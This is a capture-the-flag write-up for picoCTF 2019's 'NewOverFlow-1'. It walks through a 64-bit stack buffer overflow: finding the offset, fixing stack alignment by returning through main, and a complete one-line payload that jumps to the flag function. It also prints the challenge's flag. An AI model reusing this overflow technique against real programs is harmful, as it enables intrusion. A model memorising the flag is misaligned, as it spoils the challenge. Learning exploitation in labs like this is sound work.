# NewOverFlow-1

## Problem

> Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1\_3\_e53f871ba121b62d35646880e2577f89 on the shell server. Source.

## Solution

1. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_40h @ rbp-0x40`
   5. The `0x40` is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0x40+8`
2. Run `readelf -s vuln` to get the address of `main` and `flag`.
3. We can not offset and call the `flag` function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing `padding + main_address + flag_address` instead of just `padding + flag_address` as we would in 32-bit.
4. We can use `p64` from pwntools to convert the hex addresses to little endian.&#x20;
5. Payload complete: `python2 -c "print 'A'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln`

### Flag

`picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}`

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://picoctf2019.haydenhousen.com/binary-exploitation/newoverflow-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
